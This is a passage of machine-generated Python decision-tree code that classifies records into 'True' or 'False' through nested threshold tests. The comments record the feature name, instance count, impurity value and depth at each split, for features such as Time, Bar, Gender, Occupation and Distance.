0.15, "depth": 10} if obj[3]>0: return 'False' elif obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 4, "metric_value": 0.25, "depth": 11} if obj[10]<=0.0: return 'False' elif obj[10]>0.0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'False' else: return 'False' elif obj[7]>9: return 'False' else: return 'False' else: return 'False' elif obj[4]>4: # {"feature": "Occupation", "instances": 38, "metric_value": 0.2545, "depth": 7} if obj[7]<=7: # {"feature": "Time", "instances": 21, "metric_value": 0.0833, "depth": 8} if obj[1]<=1: return 'False' elif obj[1]>1: # {"feature": "Bar", "instances": 8, "metric_value": 0.1667, "depth": 9} if obj[8]<=0.0: return 'False' elif obj[8]>0.0: # {"feature": "Children", "instances": 3, "metric_value": 0.3333, "depth": 10} if obj[5]<=0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[3]<=1: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[7]>7: # {"feature": "Time", "instances": 17, "metric_value": 0.4412, "depth": 8} if obj[1]<=1: # {"feature": "Gender", "instances": 16, "metric_value": 0.4295, "depth": 9} if obj[3]<=0: # {"feature": "Bar", "instances": 13, "metric_value": 0.3487, "depth": 10} if obj[8]<=1.0: # {"feature": "Children", "instances": 10, "metric_value": 0.1778, "depth": 11} if obj[5]>0: # {"feature": "Restaurant20to50", "instances": 9, "metric_value": 0.1778, "depth": 12} if obj[10]>1.0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[10]<=1.0: return 'False' else: return 'False' elif obj[5]<=0: return 'True' else: return 'True' elif obj[8]>1.0: # {"feature": "Children", "instances": 3, "metric_value": 0.0, "depth": 11} if obj[5]>0: return 'True' elif obj[5]<=0: return 'False' else: return 'False' else: return 'True' elif obj[3]>0: # {"feature": "Children", "instances": 3, "metric_value": 0.0, "depth": 10} if obj[5]>0: return 'True' elif obj[5]<=0: return 'False' else: return 'False' else: return 'True' elif obj[1]>1: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]<=0: # {"feature": "Restaurant20to50", "instances": 138, "metric_value": 0.4841, "depth": 6} if obj[10]<=3.0: # {"feature": "Time", "instances": 136, "metric_value": 0.4842, "depth": 7} if obj[1]>0: # {"feature": "Age", "instances": 113, "metric_value": 0.4751, "depth": 8} if obj[4]>0: # {"feature": "Occupation", "instances": 99, "metric_value": 0.4653, "depth": 9} if obj[7]<=22: # {"feature": "Gender", "instances": 98, "metric_value": 0.4612, "depth": 10} if obj[3]<=0: # {"feature": "Bar", "instances": 51, "metric_value": 0.4093, "depth": 11} if obj[8]>0.0: # {"feature": "Children", "instances": 30, "metric_value": 0.48, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 20, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[8]<=0.0: # {"feature": "Children", "instances": 21, "metric_value": 0.2963, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 18, "metric_value": 0.3457, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Bar", "instances": 47, "metric_value": 0.4823, "depth": 11} if obj[8]<=0.0: # {"feature": "Children", "instances": 32, "metric_value": 0.5, "depth": 12} if obj[5]>0: # {"feature": "Direction_same", "instances": 22, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[8]>0.0: # {"feature": "Children", "instances": 15, "metric_value": 0.44, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.42, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[7]>22: return 'False' else: return 'False' elif obj[4]<=0: # {"feature": "Children", "instances": 14, "metric_value": 0.3117, "depth": 9} if obj[5]<=0: # {"feature": "Bar", "instances": 11, "metric_value": 0.3636, "depth": 10} if obj[8]<=3.0: # {"feature": "Occupation", "instances": 9, "metric_value": 0.4167, "depth": 11} if obj[7]>1: # {"feature": "Gender", "instances": 8, "metric_value": 0.3571, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 7, "metric_value": 0.4082, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' elif obj[3]<=0: return 'True' else: return 'True' elif obj[7]<=1: return 'False' else: return 'False' elif obj[8]>3.0: return 'False' else: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'False' elif obj[1]<=0: # {"feature": "Occupation", "instances": 23, "metric_value": 0.4306, "depth": 8} if obj[7]>1: # {"feature": "Bar", "instances": 21, "metric_value": 0.4121, "depth": 9} if obj[8]<=0.0: # {"feature": "Age", "instances": 11, "metric_value": 0.3409, "depth": 10} if obj[4]>1: # {"feature": "Gender", "instances": 8, "metric_value": 0.3, "depth": 11} if obj[3]<=0: # {"feature": "Children", "instances": 5, "metric_value": 0.48, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[3]>0: return 'False' else: return 'False' elif obj[4]<=1: return 'True' else: return 'True' elif obj[8]>0.0: # {"feature": "Age", "instances": 10, "metric_value": 0.2667, "depth": 10} if obj[4]>3: # {"feature": "Gender", "instances": 6, "metric_value": 0.2667, "depth": 11} if obj[3]<=0: # {"feature": "Children", "instances": 5, "metric_value": 0.32, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 13} if obj[11]<=0: return 'False' else: return 'False' else: return 'False' elif obj[3]>0: return 'True' else: return 'True' elif obj[4]<=3: return 'False' else: return 'False' else: return 'False' elif obj[7]<=1: return 'True' else: return 'True' else: return 'False' elif obj[10]>3.0: return 'False' else: return 'False' else: return 'True' elif obj[0]<=0: # {"feature": "Children", "instances": 16, "metric_value": 0.1786, "depth": 5} if obj[5]<=0: # {"feature": "Age", "instances": 14, "metric_value": 0.0952, "depth": 6} if obj[4]<=5: return 'True' elif obj[4]>5: # {"feature": "Gender", "instances": 3, "metric_value": 0.0, "depth": 7} if obj[3]<=0: return 'True' elif obj[3]>0: return 'False' else: return 'False' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 2, "metric_value": 0.0, "depth": 6} if obj[3]<=0: return 'False' elif obj[3]>0: return 'True' else: return 'True' else: return 'False' else: return 'True' else: return 'False' elif obj[9]<=0.0: # {"feature": "Passanger", "instances": 1452, "metric_value": 0.4944, "depth": 3} if obj[0]<=1: # {"feature": "Distance", "instances": 925, "metric_value": 0.4846, "depth": 4} if obj[12]<=1: # {"feature": "Time", "instances": 498, "metric_value": 0.486, "depth": 5} if obj[1]>0: # {"feature": "Bar", "instances": 313, "metric_value": 0.473, "depth": 6} if obj[8]<=0.0: # {"feature": "Direction_same", "instances": 169, "metric_value": 0.4379, "depth": 7} if obj[11]>0: # {"feature": "Occupation", "instances": 94, "metric_value": 0.4613, "depth": 8} if obj[7]>3: # {"feature": "Age", "instances": 63, "metric_value": 0.4959, "depth": 9} if obj[4]>0: # {"feature": "Restaurant20to50", "instances": 55, "metric_value": 0.4902, "depth": 10} if obj[10]>-1.0: # {"feature": "Education", "instances": 54, "metric_value": 0.4967, "depth": 11} if obj[6]<=3: # {"feature": "Gender", "instances": 51, "metric_value": 0.4983, "depth": 12} if obj[3]<=0: # {"feature": "Children", "instances": 32, "metric_value": 0.498, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Children", "instances": 19, "metric_value": 0.4962, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' elif obj[6]>3: # {"feature": "Gender", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[3]>0: # {"feature": "Children", "instances": 2, "metric_value": 0.0, "depth": 13} if obj[5]<=0: return 'True' elif obj[5]>0: return 'False' else: return 'False' elif obj[3]<=0: return 'False' else: return 'False' else: return 'False' elif obj[10]<=-1.0: return 'True' else: return 'True' elif obj[4]<=0: # {"feature": "Restaurant20to50", "instances": 8, "metric_value": 0.3571, "depth": 10} if obj[10]>-1.0: # {"feature": "Gender", "instances": 7, "metric_value": 0.381, "depth": 11} if obj[3]<=0: # {"feature": "Education", "instances": 6, "metric_value": 0.4, "depth": 12} if obj[6]>0: # {"feature": "Children", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[5]<=1: return 'True' else: return 'True' elif obj[6]<=0: return 'True' else: return 'True' elif obj[3]>0: return 'True' else: return 'True' elif obj[10]<=-1.0: return 'False' else: return 'False' else: return 'True' elif obj[7]<=3: # {"feature": "Gender", "instances": 31, "metric_value": 0.3632, "depth": 9} if obj[3]>0: # {"feature": "Education", "instances": 27, "metric_value": 0.4044, "depth": 10} if obj[6]<=1: # {"feature": "Age", "instances": 17, "metric_value": 0.3557, "depth": 11} if obj[4]>0: # {"feature": "Restaurant20to50", "instances": 14, "metric_value": 0.3214, "depth": 12} if obj[10]<=1.0: # {"feature": "Children", "instances": 12, "metric_value": 0.375, "depth": 13} if obj[5]>0: return 'True' elif obj[5]<=0: return 'True' else: return 'True' elif obj[10]>1.0: return 'True' else: return 'True' elif obj[4]<=0: # {"feature": "Children", "instances": 3, "metric_value": 0.4444, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[10]<=2.0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[6]>1: # {"feature": "Age", "instances": 10, "metric_value": 0.4, "depth": 11} if obj[4]>1: # {"feature": "Children", "instances": 8, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 8, "metric_value": 0.5, "depth": 13} if obj[10]<=0.0: return 'False' else: return 'False' else: return 'False' elif obj[4]<=1: return 'True' else: return 'True' else: return 'True' elif obj[3]<=0: return 'True' else: return 'True' else: return 'True' elif obj[11]<=0: # {"feature": "Education", "instances": 75, "metric_value": 0.3407, "depth": 8} if obj[6]>0: # {"feature": "Age", "instances": 40, "metric_value": 0.2034, "depth": 9} if obj[4]<=4: # {"feature": "Restaurant20to50", "instances": 34, "metric_value": 0.1576, "depth": 10} if obj[10]<=1.0: # {"feature": "Gender", "instances": 28, "metric_value": 0.186, "depth": 11} if obj[3]>0: # {"feature": "Children", "instances": 16, "metric_value": 0.1071, "depth": 12} if obj[5]>0: return 'True' elif obj[5]<=0: # {"feature": "Occupation", "instances": 7, "metric_value": 0.2143, "depth": 13} if obj[7]<=2: return 'True' elif obj[7]>2: return 'True' else: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Children", "instances": 12, "metric_value": 0.2333, "depth": 12} if obj[5]<=0: # {"feature": "Occupation", "instances": 10, "metric_value": 0.1333, "depth": 13} if obj[7]<=6: return 'True' elif obj[7]>6: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Occupation", "instances": 2, "metric_value": 0.0, "depth": 13} if obj[7]<=6: return 'False' elif obj[7]>6: return 'True' else: return 'True' else: return 'False' else: return 'True' elif obj[10]>1.0: return 'True' else: return 'True' elif obj[4]>4: # {"feature": "Restaurant20to50", "instances": 6, "metric_value": 0.0, "depth": 10} if obj[10]>1.0: return 'True' elif obj[10]<=1.0: return 'False' else: return 'False' else: return 'True' elif obj[6]<=0: # {"feature": "Occupation", "instances": 35, "metric_value": 0.4573, "depth": 9} if obj[7]>4: # {"feature": "Age", "instances": 22, "metric_value": 0.3743, "depth": 10} if obj[4]>1: # {"feature": "Gender", "instances": 17, "metric_value": 0.4471, "depth": 11} if obj[3]<=0: # {"feature": "Children", "instances": 12, "metric_value": 0.4815, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 9, "metric_value": 0.4921, "depth": 13} if obj[10]>0.0: return 'True' elif obj[10]<=0.0: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[10]<=1.0: return 'False' else: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Children", "instances": 5, "metric_value": 0.2667, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.0, "depth": 13} if obj[10]<=0.0: return 'True' elif obj[10]>0.0: return 'False' else: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' elif obj[4]<=1: return 'True' else: return 'True' elif obj[7]<=4: # {"feature": "Age", "instances": 13, "metric_value": 0.4196, "depth": 10} if obj[4]>0: # {"feature": "Restaurant20to50", "instances": 11, "metric_value": 0.4364, "depth": 11} if obj[10]>0.0: # {"feature": "Gender", "instances": 10, "metric_value": 0.4667, "depth": 12} if obj[3]>0: # {"feature": "Children", "instances": 6, "metric_value": 0.4444, "depth": 13} if obj[5]<=1: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Children", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[5]<=0: return 'False' else: return 'False' else: return 'False' elif obj[10]<=0.0: return 'False' else: return 'False' elif obj[4]<=0: return 'False' else: return 'False' else: return 'False' else: return 'True' else: return 'True' elif obj[8]>0.0: # {"feature": "Occupation", "instances": 144, "metric_value": 0.4721, "depth": 7} if obj[7]<=20: # {"feature": "Age", "instances": 136, "metric_value": 0.4906, "depth": 8} if obj[4]>1: # {"feature": "Education", "instances": 78, "metric_value": 0.4521, "depth": 9} if obj[6]>1: # {"feature": "Children", "instances": 58, "metric_value": 0.4733, "depth": 10} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 41, "metric_value": 0.4758, "depth": 11} if obj[10]>0.0: # {"feature": "Gender", "instances": 26, "metric_value": 0.4567, "depth": 12} if obj[3]>0: # {"feature": "Direction_same", "instances": 16, "metric_value": 0.4286, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 10, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' elif obj[11]>0: return 'False' else: return 'False' else: return 'False' elif obj[10]<=0.0: # {"feature": "Direction_same", "instances": 15, "metric_value": 0.4778, "depth": 12} if obj[11]>0: # {"feature": "Gender", "instances": 12, "metric_value": 0.4857, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[11]<=0: # {"feature": "Gender", "instances": 3, "metric_value": 0.3333, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Direction_same", "instances": 17, "metric_value": 0.3644, "depth": 11} if obj[11]<=0: # {"feature": "Gender", "instances": 9, "metric_value": 0.4444, "depth": 12} if obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 6, "metric_value": 0.3333, "depth": 13} if obj[10]>1.0: return 'False' elif obj[10]<=1.0: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.3333, "depth": 13} if obj[10]>1.0: return 'True' elif obj[10]<=1.0: return 'True' else: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Restaurant20to50", "instances": 8, "metric_value": 0.2, "depth": 12} if obj[10]<=1.0: # {"feature": "Gender", "instances": 5, "metric_value": 0.3, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[10]>1.0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[6]<=1: # {"feature": "Children", "instances": 20, "metric_value": 0.3048, "depth": 10} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 14, "metric_value": 0.2143, "depth": 11} if obj[10]<=1.0: # {"feature": "Direction_same", "instances": 8, "metric_value": 0.3333, "depth": 12} if obj[11]<=0: # {"feature": "Gender", "instances": 6, "metric_value": 0.2778, "depth": 13} if obj[3]<=0: return 'True' else: return 'True' elif obj[11]>0: # {"feature": "Gender", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[3]<=0: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 6, "metric_value": 0.4167, "depth": 11} if obj[3]>0: # {"feature": "Direction_same", "instances": 4, "metric_value": 0.0, "depth": 12} if obj[11]>0: return 'True' elif obj[11]<=0: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.0, "depth": 12} if obj[11]>0: return 'False' elif obj[11]<=0: return 'True' else: return 'True' else: return 'False' else: return 'True' else: return 'True' elif obj[4]<=1: # {"feature": "Direction_same", "instances": 58, "metric_value": 0.4713, "depth": 9} if obj[11]>0: # {"feature": "Restaurant20to50", "instances": 30, "metric_value": 0.4138, "depth": 10} if obj[10]>-1.0: # {"feature": "Children", "instances": 29, "metric_value": 0.423, "depth": 11} if obj[5]<=0: # {"feature": "Gender", "instances": 24, "metric_value": 0.4296, "depth": 12} if obj[3]<=0: # {"feature": "Education", "instances": 15, "metric_value": 0.4571, "depth": 13} if obj[6]>0: return 'False' elif obj[6]<=0: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Education", "instances": 9, "metric_value": 0.3175, "depth": 13} if obj[6]>0: return 'False' elif obj[6]<=0: return 'False' else: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Gender", "instances": 5, "metric_value": 0.2, "depth": 12} if obj[3]<=0: return 'False' elif obj[3]>0: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[6]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[10]<=-1.0: return 'True' else: return 'True' elif obj[11]<=0: # {"feature": "Gender", "instances": 28, "metric_value": 0.4269, "depth": 10} if obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 19, "metric_value": 0.4145, "depth": 11} if obj[10]>0.0: # {"feature": "Education", "instances": 16, "metric_value": 0.4909, "depth": 12} if obj[6]>0: # {"feature": "Children", "instances": 11, "metric_value": 0.4949, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'True' else: return 'True' elif obj[6]<=0: # {"feature": "Children", "instances": 5, "metric_value": 0.48, "depth": 13} if obj[5]<=0: return 'False' else: return 'False' else: return 'False' elif obj[10]<=0.0: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Education", "instances": 9, "metric_value": 0.3016, "depth": 11} if obj[6]<=2: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.1429, "depth": 12} if obj[10]>-1.0: return 'True' elif obj[10]<=-1.0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[5]<=1: return 'True' else: return 'True' else: return 'True' elif obj[6]>2: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=1.0: return 'False' else: return 'False' else: return 'False' else: return 'False' else: return 'True' else: return 'False' else: return 'False' elif obj[7]>20: return 'True' else: return 'True' else: return 'True' elif obj[1]<=0: # {"feature": "Occupation", "instances": 185, "metric_value": 0.4726, "depth": 6} if obj[7]<=7.951351351351351: # {"feature": "Education", "instances": 114, "metric_value": 0.4532, "depth": 7} if obj[6]<=3: # {"feature": "Bar", "instances": 103, "metric_value": 0.4401, "depth": 8} if obj[8]>-1.0: # {"feature": "Age", "instances": 102, "metric_value": 0.44, "depth": 9} if obj[4]>1: # {"feature": "Restaurant20to50", "instances": 64, "metric_value": 0.4018, "depth": 10} if obj[10]>-1.0: # {"feature": "Direction_same", "instances": 63, "metric_value": 0.4061, "depth": 11} if obj[11]<=0: # {"feature": "Gender", "instances": 35, "metric_value": 0.4303, "depth": 12} if obj[3]<=0: # {"feature": "Children", "instances": 18, "metric_value": 0.4375, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'True' else: return 'True' elif obj[3]>0: # {"feature": "Children", "instances": 17, "metric_value": 0.4118, "depth": 13} if obj[5]<=0: return 'False' elif obj[5]>0: return 'False' else: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Children", "instances": 28, "metric_value": 0.3684, "depth": 12} if obj[5]<=0: # {"feature": "Gender", "instances": 19, "metric_value": 0.3323, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Gender", "instances": 9, "metric_value": 0.4444, "depth": 13} if obj[3]>0: return 'False' elif obj[3]<=0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[10]<=-1.0: return 'True' else: return 'True' elif obj[4]<=1: # {"feature": "Restaurant20to50", "instances": 38, "metric_value": 0.4694, "depth": 10} if obj[10]>-1.0: # {"feature": "Children", "instances": 37, "metric_value": 0.4787, "depth": 11} if obj[5]<=0: # {"feature": "Direction_same", "instances": 24, "metric_value": 0.4607, "depth": 12} if obj[11]<=0: # {"feature": "Gender", "instances": 14, "metric_value": 0.4848, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Gender", "instances": 10, "metric_value": 0.419, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'False' else: return 'False' else: return 'False' elif obj[5]>0: # {"feature": "Direction_same", "instances": 13, "metric_value": 0.4718, "depth": 12} if obj[11]<=0: # {"feature": "Gender", "instances": 10, "metric_value": 0.45, "depth": 13} if obj[3]<=0: return 'True' elif obj[3]>0: return 'False' else: return 'False' elif obj[11]>0: # {"feature": "Gender", "instances": 3, "metric_value": 0.3333, "depth": 13} if obj[3]<=0: return 'False' elif obj[3]>0: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[10]<=-1.0: return 'False' else: return 'False' else: return 'False' elif obj[8]<=-1.0: return 'True' else: return 'True' elif obj[6]>3: # {"feature": "Age", "instances": 11, "metric_value": 0.3409, "depth": 8} if obj[4]<=4: # {"feature": "Bar", "instances": 8, "metric_value": 0.3, "depth": 9} if obj[8]>0.0: # {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.4, "depth": 10} if obj[10]<=1.0: # {"feature": "Gender", "instances": 4, "metric_value": 0.5, "depth": 11} if obj[3]>0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' elif obj[3]<=0: # {"feature": "Children", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[5]<=0: # {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[11]<=0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[10]>1.0: return 'True' else: return 'True' elif obj[8]<=0.0: return 'False' else: return 'False' elif obj[4]>4: return 'True' else: return 'True' else: return 'True' elif obj[7]>7.951351351351351: # {"feature": "Direction_same", "instances": 71, "metric_value": 0.4524, "depth": 7} if obj[11]<=0: # {"feature": "Age", "instances": 39, "metric_value": 0.4438, "depth": 8} if obj[4]<=2: # {"feature": "Education", "instances": 25, "metric_value": 0.4047, "depth": 9} if obj[6]>0: # {"feature": "Restaurant20to50", "instances": 17, "metric_value": 0.3412, "depth": 10} if obj[10]>-1.0: # {"feature": "Bar", "instances": 15, "metric_value": 0.3077, "depth": 11} if obj[8]<=1.0: # {"feature": "Gender", "instances": 13, "metric_value": 0.337, "depth": 12} if obj[3]>0: # {"feature": "Children", "instances": 7, "metric_value": 0.2143, "depth": 13} if obj[5]>0: return 'False' elif obj[5]<=0: return 'False' else: return 'False' elif obj[3]<=0: # {"feature": "Children", "instances": 6, "metric_value": 0.4167, "depth": 13} if obj[5]>0: return 'False' elif obj[5]<=0: return 'True' else: return 'True' else: return 'False' elif obj[8]>1.0: return 'False' else: return 'False' elif obj[10]<=-1.0: # {"feature": "Gender", "instances": 2, "metric_value": 0.0, "depth": 11} if obj[3]<=0: return 'False' elif obj[3]>0: return 'True' else: return 'True' else: return 'False' elif obj[6]<=0: # {"feature": "Gender", "instances": 8, "metric_value": 0.4667, "depth": 10} if obj[3]<=0: # {"feature": "Children", "instances": 5, "metric_value": 0.4667, "depth": 11} if obj[5]>0: # {"feature": "Bar", "instances": 3, "metric_value": 0.3333, "depth": 12} if obj[8]<=0.0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=1.0: return 'False' else: return 'False' elif obj[8]>0.0: return 'True' else: return 'True' elif obj[5]<=0: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[8]<=3.0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=0.0: return 'False' else: return 'False' else: return 'False' else: return 'False' elif obj[3]>0: # {"feature": "Children", "instances": 3, "metric_value": 0.0, "depth": 11} if obj[5]>0: return 'False' elif obj[5]<=0: return 'True' else: return 'True' else: return 'False' else: return 'False' elif obj[4]>2: # {"feature": "Children", "instances": 14, "metric_value": 0.3357, "depth": 9} if obj[5]<=0: # {"feature": "Gender", "instances": 10, "metric_value": 0.2857, "depth": 10} if obj[3]<=0: # {"feature": "Restaurant20to50", "instances": 7, "metric_value": 0.2381, "depth": 11} if obj[10]>0.0: # {"feature": "Bar", "instances": 6, "metric_value": 0.2222, "depth": 12} if obj[8]<=0.0: # {"feature": "Education", "instances": 3, "metric_value": 0.4444, "depth": 13} if obj[6]<=2: return 'True' else: return 'True' elif obj[8]>0.0: return 'True' else: return 'True' elif obj[10]<=0.0: return 'False' else: return 'False' elif obj[3]>0: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 4, "metric_value": 0.3333, "depth": 10} if obj[3]<=0: # {"feature": "Education", "instances": 3, "metric_value": 0.3333, "depth": 11} if obj[6]>2: # {"feature": "Bar", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[8]<=0.0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=2.0: return 'False' else: return 'False' else: return 'False' elif obj[6]<=2: return 'False' else: return 'False' elif obj[3]>0: return 'False' else: return 'False' else: return 'False' else: return 'True' elif obj[11]>0: # {"feature": "Bar", "instances": 32, "metric_value": 0.3822, "depth": 8} if obj[8]<=1.0: # {"feature": "Children", "instances": 26, "metric_value": 0.3067, "depth": 9} if obj[5]<=0: # {"feature": "Restaurant20to50", "instances": 17, "metric_value": 0.1765, "depth": 10} if obj[10]>0.0: return 'True' elif obj[10]<=0.0: # {"feature": "Age", "instances": 8, "metric_value": 0.3, "depth": 11} if obj[4]>1: # {"feature": "Education", "instances": 5, "metric_value": 0.4, "depth": 12} if obj[6]>0: # {"feature": "Gender", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[3]<=1: return 'False' else: return 'False' elif obj[6]<=0: return 'True' else: return 'True' elif obj[4]<=1: return 'True' else: return 'True' else: return 'True' elif obj[5]>0: # {"feature": "Gender", "instances": 9, "metric_value": 0.3175, "depth": 10} if obj[3]<=0: # {"feature": "Age", "instances": 7, "metric_value": 0.3429, "depth": 11} if obj[4]<=6: # {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.4, "depth": 12} if obj[10]>-1.0: # {"feature": "Education", "instances": 4, "metric_value": 0.5, "depth": 13} if obj[6]>1: return 'True' elif obj[6]<=1: return 'True' else: return 'True' elif obj[10]<=-1.0: return 'True' else: return 'True' elif obj[4]>6: return 'True' else: return 'True' elif obj[3]>0: return 'False' else: return 'False' else: return 'True' elif obj[8]>1.0: # {"feature": "Children", "instances": 6, "metric_value": 0.25, "depth": 9} if obj[5]<=0: # {"feature": "Gender", "instances": 4, "metric_value": 0.25, "depth": 10} if obj[3]>0: # {"feature": "Age", "instances": 2, "metric_value": 0.5, "depth": 11} if obj[4]<=7: # {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 12} if obj[6]<=0: # {"feature": "Restaurant20to50", "instances": 2, "metric_value": 0.5, "depth": 13} if obj[10]<=2.0: return 'True' else: return 'True' else: return 'True' else: return 'True' elif obj[3]<=0: return 'False' else: return 'False' elif obj[5]>0: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'True' else: return 'False' elif obj[12]>1: # {"feature": "Bar", "instances": 427, "metric_value": 0.466, "depth": 5} if obj[8]<=1.0: # {"feature": "Age", "instances": 341, "metric_value": 0.4752, "depth": 6} if obj[4]<=5: # {"feature": "Occupation", "instances": 267, "metric_value": 0.4828, "depth": 7} if obj[7]<=7.898876404494382: # {"feature": "Education", "instances": 166, "metric_value": 0.4879, "depth": 8} if obj[6]<=3: # {"feature": "Restaurant20to50", "instances": 146, "metric_value": 0.4806, "depth": 9} if obj[10]>0.0: # {"feature": "Children", "instances": 95, "metric_value": 0.4841, "depth": 10} if obj[5]<=0: # {"feature": 